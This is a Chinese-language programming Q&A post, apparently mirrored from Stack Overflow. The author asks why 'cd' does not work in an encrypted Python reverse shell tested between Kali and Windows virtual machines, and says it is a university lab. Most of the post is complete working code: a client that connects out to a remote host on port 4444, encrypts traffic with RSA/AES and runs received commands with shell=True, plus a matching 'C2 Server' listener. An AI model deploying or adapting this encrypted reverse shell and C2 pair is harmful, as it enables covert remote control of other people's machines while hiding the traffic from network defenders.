【发布时间】:2021-09-10 04:21:11
【问题描述】:
加密服务器在 Kali Linux 虚拟机上启动,而客户端 shell 在 Windows 10 虚拟机上启动。
反向外壳工作。建立连接并保持连接。我可以从 shell 运行所有类型的命令,例如 -ifconfig、dir、ls、systeminfo、netstat 等。但是,唯一的问题是我无法使用 -"cd & cd .." 命令枚举虚拟机的目录.
如果我从 Linux 的 shell 键入 cd,我不会收到任何错误,连接也不会关闭。似乎它在 Windows 机器上执行了命令,但它没有返回任何响应。
我知道过去有人问过这个问题,并且我已经浏览了这些主题:
1.python3 - cd is not working in reverse shell
2.Reverse Shell Command with Python command gets stuck when trying to change directory
3.Subprocess changing directory
4.Equivalent of shell 'cd' command to change the working directory?
我觉得没有帮助
我想我了解问题的本质,但我不知道如何解决它。如果有人知道可能导致这种行为的原因,我将不胜感激。
这是加密客户端外壳
import socket, os, subprocess
from crypto import RSA, AES
HOST = 'IP' # The remote host
PORT = 4444 # The remote port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
pub_key = b"""
-----BEGIN PUBLIC KEY-----
PUBLIC KEY
-----END PUBLIC KEY-----
"""
asymetric_public = RSA()
asymetric_public.load_public_pem(pub_key)
aes_key = os.urandom(32)
encrypted_aes_key = asymetric_public.encrypt(aes_key)
s.send(encrypted_aes_key)
aes = AES(aes_key)
while 1:
encrypted_command = s.recv(1024)
decrypt_command = aes.decrypt(encrypted_command)
command = decrypt_command.decode('utf-8')
if not command: break # breaks loop if the connection is closed
proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
response = proc.stdout.read() + proc.stderr.read()
if not response: response = b' '
encrypted_response = aes.encrypt(response)
s.send(encrypted_response)
s.close()
这是加密服务器外壳
import socket
from crypto import RSA, AES
PORT = 4444
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", PORT))
s.listen(1)
asymetric_keys = RSA()
asymetric_keys.load_file('keys.pem')
print()
print("C2 Server listening on port %d" % PORT)
while True:
print("Awaiting connection...")
sock, addr = s.accept()
encrypted_aes_key = sock.recv(256)
aes_key = asymetric_keys.decrypt(encrypted_aes_key)
aes = AES(aes_key)
print()
print("Session opened!")
while True:
command = input("CMD>")
if not command: continue
encrypted_command = aes.encrypt(command.encode('utf-8'))
sock.send(encrypted_command) # send command to the reverse shell
encrypted_response = sock.recv(65535) # get response from the shell
response = aes.decrypt(encrypted_response)
if not response: break # break loop if connection closed
print(response.decode('utf-8'))
print("Session closed!")
print()
导入的类(RSA 和 AES)来自第三个 python 文件,该文件用于生成、加载、解密、加密、验证和签署加密密钥。我不认为问题是由这个文件引起的,但是如果需要,我也可以发布代码。
附: 我正在为一个大学项目做一个实验。因此,一切都只是为了实验目的。
【问题讨论】:
标签: python-3.x shell sockets encryption subprocess